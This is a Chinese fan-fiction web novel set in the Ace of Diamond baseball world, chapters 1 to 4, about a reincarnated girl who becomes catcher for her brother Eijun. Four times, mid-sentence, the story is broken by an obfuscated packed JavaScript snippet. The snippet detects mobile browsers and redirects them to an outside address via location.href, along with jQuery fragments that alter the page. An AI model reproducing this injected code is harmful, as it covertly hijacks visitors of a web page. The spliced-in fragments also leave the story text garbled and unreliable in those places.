《[钻石王牌]大魔王今天也在统治棒球场》 1. 第 1 章 泽村绘理,现役幼儿园生,正在陪全身脏兮兮却毫无所觉,仍然“哇哈哈!”的大笑着的哥哥泽村荣纯玩棒球游戏。 只不过—— 虽然说是棒球游戏,但泽村绘理认为称其为传接球才更为合适,毕竟手里的“棒球”的真身其实是灌满了水的塑料圆球,除了外形是球状,其他的和棒球完全没关系。 “哇哈哈哈!看我的超级无敌热辣滚烫豪火球!”如此喊着不知道是从哪里学来的招式名称,泽村荣纯再一次投出一球,然后被泽村绘理接住,只不过这一次她却没有马上投回去,而是拿在手里掂了掂。 “棒球”的分量十足,虽然是灌满了水的缘故,但连续玩着没有休息,过去大半个小时后的现在,自己那位体力依然充沛,还在那张大着嘴“哇哈哈!”的笑着的哥哥在同龄人之中,绝对称得上是体力怪物,泽村绘理是这么认为的。 ——精力真是充沛啊。 泽村绘理在心里感慨着,然后在泽村荣纯略显困惑的“绘理?是累了吗?”的询问后,将“棒球”投了回去。 时间在玩乐中过得飞快,没多久就到了幼儿园放学的时候,眼见着自家哥哥仍然没有停下来的打算,还在那嚷嚷着“绘理啊!就再投一球嘛!就最后一球!拜托啦!”诸如此类的恳求的话语。 泽村绘理再一次确信了自家哥哥绝对是体力怪物的事,然后果断地拒绝了自家哥哥的请求。 脑海里那为数不多的应该说是上辈子的记忆告诉泽村绘理,玩了一个下午的“棒球”,就算是铁打的身体也得好好休息,不然绝对会在未来的某一天以伤病的形式,狠狠地回报今天对休息的不重视。 “已经玩了很久了,不好好休息的话,第二天说不定会肩膀痛哦。”泽村绘理一边说,一边撕开固定“棒球”的胶带,然后把球里面的水都倒空,结束它作为棒球的生命。 失去了“棒球”的泽村荣纯明显情绪低落了一些,但仅有一小会,注意力很快就被泽村绘理说的话吸引。 “绘理说的话听起来好有道理的样子。” “因为本来就很有道理。” 对于哥哥的夸奖,泽村绘理一点也没觉得不自在,毫不犹豫地接受了夸奖。 在这之后在回家的路上,或许是没玩尽兴,闲聊的话题总会被泽村荣纯带到棒球的事情上,到最后话题已经到了在思考用新年红包购买棒球相关的东西是否可行的问题上。 泽村绘理没想到自家哥哥对棒球的热爱会到这种程度,她还以为今天突然想玩棒球游戏是受到电视台转播的甲子园地区预选赛的刺激。 “是认真的吗?”泽村绘理询问道,同时回想着脑海里关于过去的记忆,“球棒、棒球、手套这些最基础的东西,如果没记错的话,好像还挺贵的。” “欸?!!!” “是这样吗?!新年的红包也买不起吗?!” 面对自家哥哥难以接受现实而发出的夸张的大喊,泽村绘理思考了一下,然后点点头,说:“大概连二手的棒球都买不起吧。” 随着话音落下,泽村荣纯难以接受现实而发出的大喊变得更夸张了,直到回到家也还是那副「怎会如此!」的反应。 泽村荣纯的异样毫无疑问得到了全家人的关注。 在得知平时吵吵闹闹的孩子突然沉默的原因是迷上了棒球,然后发现自己根本买不起,于是变得大受打击之后,大人们商量了几句,麻烦很轻松就被钞能力解决了。 就这样,难以接受现实而发出的夸张的大喊变成了激动过了头连声音都劈叉了的喊叫。 “绘理啊!!!” “我们可以继续打棒球了!绘理!” 身处喧闹最中心的泽村绘理只有一个想法,那就是自家哥哥泽村荣纯除了是体力怪物之外,应该还是一个超级大嗓门才对。 第二天。 昨晚不过是商量着准备买打棒球要用到的东西,结果在距离午饭时间还有一段时间的现在,崭新的美津浓名下的打棒球会用到的装备摆在了饭桌上,每一样都有两份。 泽村绘理看了一眼,心里只觉得一家人不愧是一家人,行动力都强得吓人,这么快就把东西都买回来了,照这个进度下去感觉吃过午饭就能在自家院子里看到简易版的投手丘。 正当泽村绘理这么想着的时候,泽村荣纯强势地夺取了泽村绘理的注意力。 “绘理!绘理!我们一起去玩棒球吧!” 真的是非常兴奋的声音。 明明脸都快要被双份的棒球装备藏起来了,还非要挣扎着试图找到缝隙与自己对上眼,看着这样的哥哥,泽村绘理沉默了一瞬,然后语气平淡地说出了拒绝的话语。 “不。” “我们应该去吃饭才对。” 下一秒。 泽村荣纯露出一副「怎么这样啊……」的表情,仿佛大受打击。 “但是吃过午饭后,休息一会的话,那就没问题。”说着这句话的泽村绘理的语气依然平淡地听不出情绪波动,与其相反的表现的是声音激动得再度劈了叉的泽村荣纯喊了一声好耶。 泽村绘理:“……” 下一秒。 年仅三岁的泽村绘理在心里想着年仅五岁的泽村荣纯真是年轻啊,如此的活泼好动,完全没想过自己才是那个年纪最小的存在。 …… 时间很快来到下午,泽村绘理觉得休息得差不多了,于是在泽村荣纯期盼已久的注视下,点了点头。 两人随即来到院子被特地空出来玩棒球的地方,然后视线齐齐落在小土坡上。 “这就是投手丘,只有投手能站在这里。”泽村绘理说完后,停顿了一下,然后指着投手丘对面的位置,“那里是捕手的位置,现在只有我们两个人,所以得有一个人去当捕手才行。” “不然是玩不起来的。” 与投接球这种游戏不同的是,棒球这种运动不管哪个位置都具有强烈的独占性,大家手挽手一起快快乐乐地玩是根本不可能出现的画面。 泽村绘理看得出来自家哥哥泽村荣纯比起其它位置,投手丘才是最吸引他视线的位置。 虽然现在说这些都还太早了,但是泽村绘理觉得从现在给自家哥哥泽村荣纯心里留下这个概念会比较好,今后如果出现TV番剧中经典桥段之你为什么要出现啊,如果没有你,那个位置就是我的了的争端,也不会让自家哥哥泽村荣纯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159452|196573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心里留下太大的创伤。 只不过,想法终究还是想法,泽村绘理很快就发现自家哥哥泽村荣纯完全没有理解自己说的话,满脑子都只有打棒球这件事。 ——算了。 泽村绘理在心里叹了口气。 ——毕竟才五岁,想得不够多也是正常的,年轻人嘛。 再一次的,年仅三岁的泽村绘理在心里想着年仅五岁的泽村荣纯还是太年轻,并且仍然没有意识到自己才是最年轻的那一位。 时间一分一秒地过去,在玩了有好一会后,泽村绘理终于忍不住开口叫停,她实在是有些看不下去泽村荣纯撒豆驱鬼似的投球动作。 明明玩投接球的时候也不会飞来飞去,怎么上真家伙了却又不行了。 凭借直觉说了几句指点的话之后,泽村绘理觉得自己的眼睛轻松多了,泽村荣纯的投球动作总算是看上去像那么一回事。 在投了几球像那么一回事的球之后,停下来的人却变成了泽村荣纯。 “绘理,你一定能成为非常厉害的投手!一开始就连我也觉得我投得乱七八糟,好怕会砸到绘理,但是现在我觉得我能投得很好……” “不过,嗯,就是……嘛!当然了!我也会成为非常厉害的投手,然后就是……嗯,那个……” 流畅的一大段话忽然变得支支吾吾,在这个那个了好一会后,泽村荣纯捏紧手里的棒球,目光灼灼地看向前方,那是泽村绘理的方向。 “我会成为最厉害的投手!” “不会把这里让出去!” 泽村绘理:“……” 总觉得现在的气氛应该要顺势说一句「噢!能做到就试试看吧!」像这样的话才对,但是泽村绘理根本说不出口,现在比较想说的只有吐槽。 “哥……” “棒球这种运动是没有混组参赛的情况,也就是说……” “你找错对手了啊!” 泽村绘理想说的就是这件事,虽然自我感觉有点打击一位年仅五岁的孩子的兴致,但是强忍欲望对于一位年仅三岁的孩子来说还是太过勉强。 终于想起来自己才是年纪最小的那一位的泽村绘理一点纠结都没有的将吐槽说了出来,然后毫无意外地看到了泽村荣纯又一次露出那副表情,仿佛天塌了似的。 “欸?!” “为什么啊!” 在这之后的很长一段时间里,泽村荣纯对于自家妹妹泽村绘理无法与自己一起打棒球这件事耿耿于怀,直到看不下去泽村荣纯那副天塌了似的表现的泽村绘理说了一句「那哥哥你就带着我那份一起努力不就好了吗?」后,这才恢复精神。 只不过—— 出了一点小问题。 “所以努力是什么?” “……” “努力就是成为ACE,然后在高野甲子园比赛里给我带回来投手丘上的土,像这么一回事。” “噢,虽然不是很清楚是怎么一回事,但是我会努力的!带着绘理的那一份一起努力的!” 虽然什么事都没有发生,但是泽村绘理总感觉在听到这句话之后,莫名地有一种自己亲手推开了指向某一种未来的大门的既视感。 2. 第 2 章 虽然有着「好像是有上辈子这么一回事来着」的设定,但是说实在的,泽村绘理只觉得自己除了聪明了一点,不需要为学业而烦恼这件事之外,并没有得到像漫画、影视作品的转生者的角色会拥有的特殊能力。 我就是个普通人啊,哦不对,我就是个普通的三岁小孩啊! 泽村绘理是这么认为的,于是毫无心理负担地在吃了过量的布丁而被家人责问的时候,说着「绘理不知道哦,布丁为什么都不见了,绘理不知道哦。」像这样的话,将一位三岁小孩该有的孩子气的表现展现得淋漓尽致。 每当这时候,嘴上说着「这一次一定要让你得到教训!」的家人总会噘着嘴,眉眼都弯了起来,然后叹了口气地说:『下不为例啊绘理,待会儿要好好刷牙,万一牙疼了,就算哭闹,我也会带绘理去看牙医的。』 泽村一家似乎觉得去看牙医这件事对于一位三岁的小孩来说是一件有效的威胁,但很可惜,泽村绘理是有着「好像是有上辈子这么一回事来着」的设定的三岁小孩,于是威胁如同耳旁风,吹吹就过去了,一点痕迹也没有留下。 会被威胁到的人只有泽村荣纯,于是有一段时间泽村绘理总能看到他战战兢兢地吃着布丁的画面。 明明害怕得不行,但是布丁是一个也没落下。 后来泽村绘理觉得这样下去不行,要是留下对牙医的恐惧可不是一件好事,万一形成了听到牙医就应激的条件反射那可就太糟糕了。 『条件反射是什么?』 『哦,这你不用管,反正就是记得牙医并不可怕就行了。』 泽村绘理那时候用了最简单粗暴的说法开导泽村荣纯害怕牙疼就要看牙医这件事,而泽村荣纯则是因为对妹妹十分信任,于是一点质疑都没有,如同要当成本能一样地记住了这件事。 在那之后因为换牙的事被带去医院,和医生侃侃而谈说起历史上第一位牙医是怎么拔牙的小知识,成功把路过的本就害怕得不行的小孩吓哭,自此以后,泽村家的泽村荣纯在长野县的乡下一战成名,得到了「这孩子居然不怕看牙医!」的评价。 同龄的孩子们有一部分因为这个说法,然后在相处之中,总是会带着莫名的敬畏,而这一部分人无一例外都看过牙医。 泽村绘理想了想这件事也没带来坏结果,于是没有干涉的打算,随后不久这件事也忘得一干二净。 “绘理果然很厉害啊!” 泽村荣纯兴奋自得的声音打断了泽村绘理的思绪,回过神来的泽村绘理看向凑到自己身边坐着的哥哥,脸上仍然是看不出情绪的起伏,但是泽村荣纯一眼就能分辨出来这时候的妹妹的表情柔和了许多。 心情不错的样子。 “因为我本来就很厉害。” 泽村绘理还是那老一套的说法,非常理直气壮地应下了泽村荣纯的夸奖,仿佛幼儿园生一跳跳到国小一年级这件事是件算不了什么的事情似的。 然而泽村荣纯仍然保持着高度的兴奋,每时每刻不在表达自己真的觉得妹妹很聪明、很厉害这件事,于是没多久泽村绘理就在泽村荣纯的好友圈里出了名。 以天才的名号。 事情发展到现在,泽村绘理还是那副并不觉得这有什么的态度。 “喂,我的手套在这里啊!如果要练习新的球种,提前通知一声啊!” 她现在比较关心自家哥哥泽村荣纯的投球又到处乱飞这件事。 “啊……抱歉!下次我会好好说的,刚刚只是意外,突然有了灵感什么的……” “就知道你会这么说。” “不过算了,刚刚那一球再试着投一下给我看看,说不定真的能派上用场。” 虽然还是对棒球不感兴趣,但是泽村绘理觉得和自家哥哥一起打棒球这件事还挺有意思的,而且还能顺带锻炼身体,完全是双赢的局面。 “小荣又在和绘理一起玩啊。” “真有活力。” “不过……小荣和绘理真的看上去像那么一回事啊,就那个!嗯……像是每年夏天电视会转播的比赛那种感觉!王牌什么的。” “这么一说确实是,我要不要也开始努力看看啊,毕竟那对兄妹都这么努力了……” 什么村啊朗的人的谈话声随着风飘到泽村绘理的耳朵里,不过她并不在意那些连名字都记不住的人,此刻只想把精力都放在眼前的投手丘上。 将眼前的人带到甲子园的赛场上好像也挺有意思的。 泽村绘理是这么想的,然后理所当然地忽略了周围的人,只不过或许是名人效应,冷淡的态度一点也没有劝退凑上前来的人,参加数月后的全国国小棒球联赛需要的一队人数很轻易地凑齐了。 ACE自然是泽村荣纯。 至于捕手,虽然也有考虑过让其他人担任捕手,但是泽村荣纯乱飘的投球的威慑力很强,没有人愿意担任,于是捕手之位就这样送到了泽村绘理的手里。 “反正你俩是兄妹啊!” “要相信你们之间的羁绊啊!” 用的理由也是玄而又玄,根本站不住脚跟的说法。 只不过—— 泽村绘理并不在意这些,反正这些人也只不过是为了比赛而临时拼凑起来的队友,凑上来的很大一部分原因不是热爱棒球,而是出于朋友义气这种事,所以没有必要对今后绝对会散伙的队友关注太多。 ‘哇,有够冷血的说法。’ 泽村绘理偶尔也是会意识到这件事,但完全没有修改这样的想法的打算。 完全没有。 时间很快来到棒球联赛这一天,毕竟是全国性赛事,自然是会有地区分组再到分组代表像这样一层层选拔上来的情况发生。 因为成员全是没有经过训练,跑跑步、挥挥棒了几个月而已,还都是一年级,所以谁都没有对这样的队伍抱有信心,结果就是这样的队伍夺得长野县代表的名头,拿到进入正赛的门票。 不过也就是走到这里而已,很快地就被来自东东京赛区的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159453|196573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代表队送回长野县。 “下一次!下一次绝对不会输给你们!” 一片哭声之中,泽村荣纯毫不动摇的声音显得格外突出,但似乎是年纪太小的缘故,这些话被对面那些最小都有四年级的对手当成接受不了比赛结果,所以在那里放狠话。 谁都没有将泽村荣纯的话放在心上,并且如同回敬一般地也在放狠话。 身处于喧闹最近的泽村绘理哪里会放任嘲笑继续,一句话直接把对面说得哽住了喉咙一样,再也笑不出来。 “说什么投的都是好打得闭眼都能打出去的球,你们这不是谁都没有打到外野上嘛,我们家的外野手啊,都快无聊到要睡着了。” 泽村绘理说的都是实话。 泽村荣纯投出的每一球虽然都看似直球,但是地区预选赛到现在,谁都没有真正意义上地打出去过哪怕一次,被得分也只是因为守备的失误。 “一次全垒打都没有的队伍是怎么有脸嘲笑对手的投手投的都是垃圾球,真是叹为观止。” 大概是没想到会被说到这种地步,直到散场,泽村绘理也没得到反馈,对手始终是那种面色铁青,像被说中了的难堪的表现。 在那之后,虽然正赛一轮游,但是说好的赢了就带全队去吃高级和牛的承诺依然兑现了,只不过饭桌上大部分人都是眼泪拌饭吃完了这顿高级和牛大餐。 似乎是迟来的对于棒球的热爱让这部分人感觉到了懊悔,然后抱着「如果能再努力一点,是不是就不会输得这么惨了?」的想法,进入了一段时间疯狂训练的状态。 只不过—— 这也只是坚持了一段时间而已,最终真的把棒球当一回事的人只有投手和捕手。 或许是察觉到朋友们对于棒球的热度与自己不同,在一次训练新球种的时候,泽村荣纯神情低落地向泽村绘理询问了一个问题。 “我原本是想要和大家一起打棒球的,但是……在看到他们那样之后,我感觉就算是只有我一个人,也还是想要继续打棒球,一直、一直地走在棒球的路上。” “有这样的想法的我会不会很不好?” “不会哦。” 泽村绘理斩钉截铁地说。 “每个人都有自己想走的路,哥哥你也只不过是坚定地选择了自己要走的路而已。” 泽村荣纯:“……” 一会之后,泽村荣纯说:“虽然没听懂,但是感觉好像很有道理的样子,不过话又说回来,绘理你刚刚是不是喊我哥哥了?” 泽村绘理:“……” 泽村绘理:“???” 这是应该被关注的重点吗? 泽村绘理不懂,并且大为震撼。 “……哥哥啊,好怀念的称呼啊,感觉也就在幼儿园的时候听到过。” ——够了! ——别再用那好像是十几年前发生的事的语气说这样的话啊!我们这才刚升入国小没多久啊! 泽村绘理在心里大声地吐槽。 3. 第 3 章 似乎是废部逆袭打入全国大赛的事实在是太有份量了,学校对于棒球部的发展很重视,具体表现为在教师团队里扒拉出来一位曾经是青少棒选手的数学老师作为棒球部的顾问老师兼带队教练。 对于顾问老师,泽村绘理没什么意见,硬要说的话,她其实更想要一个专门的场地进行棒球训练。 棒球部时至今日仍然得等足球部、田径部的人训练结束,才能放心地占用场地进行训练。 虽然泽村绘理对于顾问老师不感兴趣,但是泽村荣纯却对此很是好奇,泽村绘理怀疑是「曾是青少棒选手」这个标签吸引了泽村荣纯的关注,估计这会儿满脑子都在想着空降的顾问老师会不会是投手、如果是投手又会怎么样的投球。 “如果实在是好奇,下午社团活动的时候可以问问老师。” 说是这么说,实际上泽村绘理并不看好,只不过为了不打击自家哥哥泽村荣纯的热情,这才选择沉默,然后事情的发展也确实是按照心里预想的那样走了。 那位空降的顾问老师曾经是青少棒选手的身份标签水份很高,只不过是小学的时候在当地的青少棒队伍里见习过几天,没多久就退队,之后的初高中也没有加入棒球部。 也就是说—— 这位顾问老师是纯新人。 了解到这些情况后,泽村绘理果然从自家哥哥泽村荣纯的脸上看到了失望的神色,特别是顾问老师表示自己对于棒球一窍不通,除了比赛的时候喊大声点加油鼓劲之外,什么也做不了后,整个人变得沉闷了许多。 “……” “我……” “好!就算没有教练的帮忙,我也会带领大家打进全国大赛,然后让那些东京的叫什么来着的……嘛!反正不重要!绝对会打败他们!” 泽村绘理纠结了好一会才决定好要说的话被泽村荣纯中气十足地一声喊打了回去。 看着眼前“哇哈哈哈!”的大笑个没停的人,泽村绘理觉得自己准备好的安慰人的话语可以不用说了。 泽村荣纯比她想象的还要强心脏。 ——真希望能一直保持下去啊。 泽村绘理由衷地在心里祈祷。 在那之后,顾问老师言行一致,做的和说的一样,在棒球的事情上完全派不上用场,联络周边学校打练习赛的事情也做不到。 对于棒球部的贡献大概就是不会仗着是大人就在那里瞎指点,安静得就像是有这个人和没这个人一样。 顾问老师派不上用场,棒球部只好自力更生,随后就开始了长达五年之久的「由捕手安排每日训练以及比赛的战术安排」像这样的运作模式,这期间倒也不是没有人提出异议,但是永远的年级第一的名号太过响亮了,对天才的敬畏让那些人说不出反对的话语。 特别是高年级的前辈还对着捕手喊「大姐头!」这样的称呼,就更让人没办法跳出来当刺头。 那可是大姐头啊,感觉反叛的话会被沉入东京湾。 有好一部分人是这么想的。 等泽村绘理与泽村荣纯升入国中,进入赤城中学就读之后,棒球部的运作模式也还是复刻了国小那会的运作模式,部门的顾问老师对此也没有异议……还是有一些的。 “我还以为你们会选择去东京的学校就读,听说早在三四年级的时候就有邀请函发过来了。” 面对顾问老师的好奇,泽村绘理敷衍了几句,随后借口训练要紧,很丝滑地将话题略过。 至于拒绝「上京」,选择留在长野县的乡下的理由,泽村绘理则是觉得没有必要把还在摸索阶段的自家哥哥投放进斗兽场里,等有一定的基础再去也不迟。 高野就是一个很好的时机,只不过……在这之前好像得先顾着学业问题,泽村绘理是真担心自家哥哥泽村荣纯会遇到因为考试不及格而被迫放弃比赛去补考的经典桥段。 训练了快十年的投球不能因为这种事添上阴影。 真的不能。 “绘理……表情有点可怕啊。” 正在埋头苦写习题册的泽村荣纯注意到泽村绘理的表情变化,兄长的责任感让其下意识地询问了一句,然后就看到泽村绘理从表情有点可怕变成表情很可怕。 “!!!” “等等……!我会好好练习!上次不及格真的只是意外啊!” 泽村荣纯,现役国中一年级生,在面对自家妹妹泽村绘理的时候,仍然是没办法拿出兄长的气势。 一年后。 差不多是在升入二年级没多久的时候,泽村绘理收到了个消息,去年从网上认识的应该算是好友的前辈准备趁着春假来长野游玩。 产生交集的缘由是一个棒球视频,两人聊着聊着就加上LINE,然后不知不觉就认识了有一年之久。 收到消息的泽村绘理有些沉默。 前辈发来的LINE挑衅意味十足,根本看不出来长野县是为了游玩,于是泽村绘理十分诚实地表达了自己的感受,回信发出去后过去了很久才收到回复,十多条LINE总结起来只有一个意思。 盛怒的前辈要给不讲礼貌的后辈一点教训。 [给我好好叫前辈啊!]:你这家伙!我绝对要让你知道什么才是真正的投手! 甚至ID都改了。 明晃晃地在表达不满,然而泽村绘理的回复依旧是诚实地表达自己的想法,然后在回信送达之后不久,泽村绘理确信那位前辈是认真地想要来长野,目的只是为了让自己看看什么是真正的投手。 泽村绘理:“……” 一时之间,泽村绘理不知道该不该吐槽这位前辈身为投手为什么要和身为捕手的自己比较,明明两人的赛道完全就不在一条路上,除此之外,这位前辈好像忘了他决定游玩的时间凑巧撞上自己带队外出比赛的事。 就算跑来长野,两人也是不可能见面,那会早就跑外地打比赛去了。 ——果然是气糊涂了吧。 泽村绘理在心里想着,同时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159454|196573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思考前辈如此生气的理由难不成是因为前辈每次学会的球种都在不久后被自己完美复刻这件事。 ——应该不至于吧? 与此同时,远在东京的成宫鸣确实与泽村绘理想的那样其实并没有因为那点小事就生气,生气的主要原因是泽村绘理身为一个投手的好苗子竟然跑去当捕手,用的居然还是「欸?投手?感觉好麻烦啊,反正已经有投手在了,我不当投手也没关系吧……」像这样听着就让人火大的理由。 ‘什么叫做反正已经有投手在了啊?!’ ‘那家伙到底是从哪里跑出来的!’ ‘如果是因为三流货色而放弃当投手,虽然当捕手也是超强的,但是如果是因为那种家伙,绝对不能原谅!’ 火大的理由虽然事后想想,连自己都觉得有些没道理,但是成宫鸣已经养成了一旦打了一场好的比赛就发视频炫耀又或者是学会了新的球种就会录下来的习惯。 总之就是想要让泽村绘理拓宽眼界,看看什么才是真正的王牌投手。 只不过—— 每次得到的回应都是很平淡,特别是刚学会的球种在第二天就被完美复刻,看到视频后,成宫鸣更加生气泽村绘理竟然跑去当捕手这件事。 这一次趁着春假跑来长野的原因,主要是想要看看能让这么好的投手心甘情愿担任捕手的投手到底是一个怎么样的存在。 如果真的是三流投手,就绝对不能放任泽村绘理像这样浪费自己的才能。 就算是高野之后就没办法打棒球,那也还有担任教练这一条路可以走,而不是为了一个三流投手去浪费自己的天赋,光是想想都让人火大得不行。 “成宫,你又抱着那个手机,该不会还是那个钟爱的投手又拒绝了你的邀请吧?你也真的是有够执着的。” “才没有被拒绝。”成宫鸣下意识地反驳,“而且那家伙是个捕手,可恶!怎么当投手这么厉害,当捕手也这么厉害啊!这样的才能……” 眼见着队伍里的ACE又陷入自我情绪当中,好奇过来询问情况的几人对视一眼,然后默默散开。 ‘还是不要打扰ACE会比较好吧。’ 一边在心里这样想着,那几人没一会就跑没了影,陷入在自我情绪当中的成宫鸣则是完全没有注意到这件事。 另一边,被成宫鸣念叨在浪费才能的泽村绘理正在投球,不远处的击球区站着的打者是泽村荣纯。 一球投出去,棒球意料之中的根本打不出去。 “小荣,Don’t mind、Don’t mind……反正小荣是投手,打不出去也没关系!拿分就交给我们就行!” “荣纯……差不多也该放弃当重炮手的想法吧,最近不是安打打得挺不错的吗?” “我也觉得是这样……” 好友一句接着一句吐槽自己又三棒挥空,泽村荣纯的脸噌的一下变得通红:“什、什么打不出去,刚刚那只是意外!下一球绝对能打出去……” 4. 第 4 章 [给我好好叫前辈啊!]:你怎么不在学校! 比赛刚结束,泽村绘理就收到前辈发来的LINE,还没等回复,一条条控诉接踵而来,完全没给人反应过来的机会。 一旁紧挨着泽村绘理坐在大巴车上的泽村荣纯注意到这情况,于是开口询问发生了什么。 泽村绘理摇了摇头,随后将手机屏幕往泽村荣纯的方向偏了过去。 “没什么特别的,这位前辈只不过是在闹别扭而已。” 手机屏幕就这样大剌剌摆在眼前,消息一点隐瞒的想法都没有,泽村荣纯很快就将前因后果了解清楚。 虽然ID换了,但是从LINE的口吻来看,这位前辈应该就是这一年多以来一直和自己的妹妹线上交友的人了。 意识到这一点,泽村荣纯不自觉地表情变得严肃认真了起来。 倒也不是妹控这种原因,主要是担心对面会不会是什么骗子,就算是看聊天内容都是关于棒球的,但万一这是骗子精心伪装要怎么办啊?! 直到现在可还是会有被「是我是我」的骗局欺骗的人存在欸! 泽村荣纯越想越忧心,名为兄长的责任感正在燃烧,然后他觉得自己得说点什么。 “绘理啊……不要被奇怪的家伙骗了,这家伙看起来很不妙啊。” 随着话音落下,泽村荣纯对自己的语言匮乏程度感到了绝望。 ——怎么纠结个半天却只说了这些啊?!难道真的是上课不够认真吗?不对吧……最近的课程都及格了啊…… 泽村荣纯陷入了沉思。 与此同时,在泽村荣纯陷入沉思后,泽村绘理很快就发现平时吵吵闹闹、精力极其旺盛的哥哥变得沉闷的事,联想到在这之前说的那句话,几乎是一瞬间的事,泽村绘理就明白了整件事的来龙去脉。 ——大概是名为兄长的责任吧。 泽村绘理是这么认为的,随后收回手机,故意将话题扯开,聊了些自家哥哥泽村荣纯感兴趣的话题,没一会儿就恢复了以往的活力。 大巴车在那之后开了快有两个小时,这才抵达赤城中学,此时距离天黑也没剩多少时间。 由于大多都是住学校附近,因此确认了人数没有问题之后,带队老师很快就放话让众人各自回家,至于之后的整理工作,他自己会解决好。 作为对比赛提供不了任何帮助的大人,此时能做的事情就只有这些了。 “今天大家都辛苦了,回去好好休息!” “是!!!” 全员应了一声,然后三三两两地走了。 回到家之后,天彻底暗了下来,同时还有食物的香气飘散到屋外,泽村绘理直到这时候才突然感觉到疲惫。 就在这时,泽村绘理听到泽村荣纯突然大喊了一声“好!”,紧接着手里提着的行李包被拿了过去,抬眼再看过去,留给自己的只有嚷嚷着“行李就交给我去放好,绘理先去泡澡吧!”这句话的泽村荣纯的背影。 泽村绘理:“……” ——倒也不必跑这么快啊,虽然很感谢就是了。 泽村绘理默默地在心里叹了口气,然后顺着泽村荣纯消失的方向走了过去,她得去房间拿换洗的衣服才行。 泽村绘理强烈怀疑自家哥哥泽村荣纯是忘了这件事,特别是在门口碰上面,看到自家哥哥脸上「欸?怎么在这里?」的反应,那种感觉更强烈了。 “哥……” “不要变成棒球脑袋啊。” 泽村绘理突然说了这句话,然后侧过身体,往房间走了进去,身后是没明白发生了什么,于是“欸?”了一声的泽村荣纯。 时间一天天过去,在赤城中学的最后一年来了。 因为练习的球种逐步解禁,捕手配球变得丰富,从而使得比赛变得精彩,泽村荣纯受到了许多人的关注,不断有周边的一些棒球豪强学校发来的邀请参观的联络。 只不过这些邀请全都被泽村荣纯放置了。 原因并不是想要和赤城中学棒球部的伙伴们继续一起打棒球这种事,毕竟早在几年前就意识到了这些伙伴只是朋友义气聚集而来的,泽村荣纯认为也是时候脱离队伍,不能再继续勉强伙伴们。 除此之外还有一个最重要的理由。 “绘理啊,你想去哪里就读?” 那就是自己的妹妹直到现在也还没有决定好去哪一所学校。 ——难道真的要去那个金毛投手的学校吗?! ——那个叫什么稻什么来着的学校?! ——虽然好像是多次打进甲子园的,但是这不是没拿到优胜吗! 多多少少带着些个人恩怨,泽村荣纯刻意地没有记住两年多了也还没有放弃邀请自己的妹妹前往东京就读的那位据说是好厉害的投手的学校。 ——这个总是深夜找我妹妹聊天的混蛋! 泽村绘理没有留意自家哥哥泽村荣纯复杂的心理活动,思考了一会儿后,然后开口说道:“大概是想要去金字塔头部的那几家吧,而且也得考虑考虑学校的偏差值。” “偏差值……” “啊,这个……嗯……” 虽然成绩也还说得过去,但是一谈到学习的话题,泽村荣纯的注意力一下就被转到其他地方去了。 ——永远的年级第一的妹妹能就读的学校真的是自己这种普通学生能就读的地方吗? 泽村荣纯陷入了沉思。 ——该不会兄妹分别的契机就是现在了吧?! ——那种事不要啊——! 越想越是慌乱,泽村荣纯的反应肉眼可见地变得焦躁不安起来。 泽村绘理注意到了,同时也意识到自家哥哥这时候是在为什么而担忧,于是在心里重重地叹了口气。 ‘到底要什么时候才能发现自己的才能足以弥补偏差值的不足啊……果然已经变成棒球脑袋了吗?’泽村绘理一边在心里吐槽,一边说着自己对于学校的选择是怎么想的。 “……总之再继续观望看看吧,以哥哥你的能力,就算是毕业的那几天也一定会有学校坚持发邀请过来。” ——只要不是眼睛出了问题,就绝对能从过去的那么多比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159455|196573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赛里发现隐藏在投球下的更多的东西。 最后想要说的话,泽村绘理放在了心里没有说出口。 “我要不要趁现在开始学习呢?万一考不上……那我又该怎么办啊……” 泽村绘理:“……” ——实在不行直接去东京吧。 泽村绘理有点看不下去自家哥哥泽村荣纯完全陷入幻想的世界里的模样,于是思考直接在东京的豪强里随便挑一个的可行性。 ——不过…… ——东东京的学校还是算了吧。 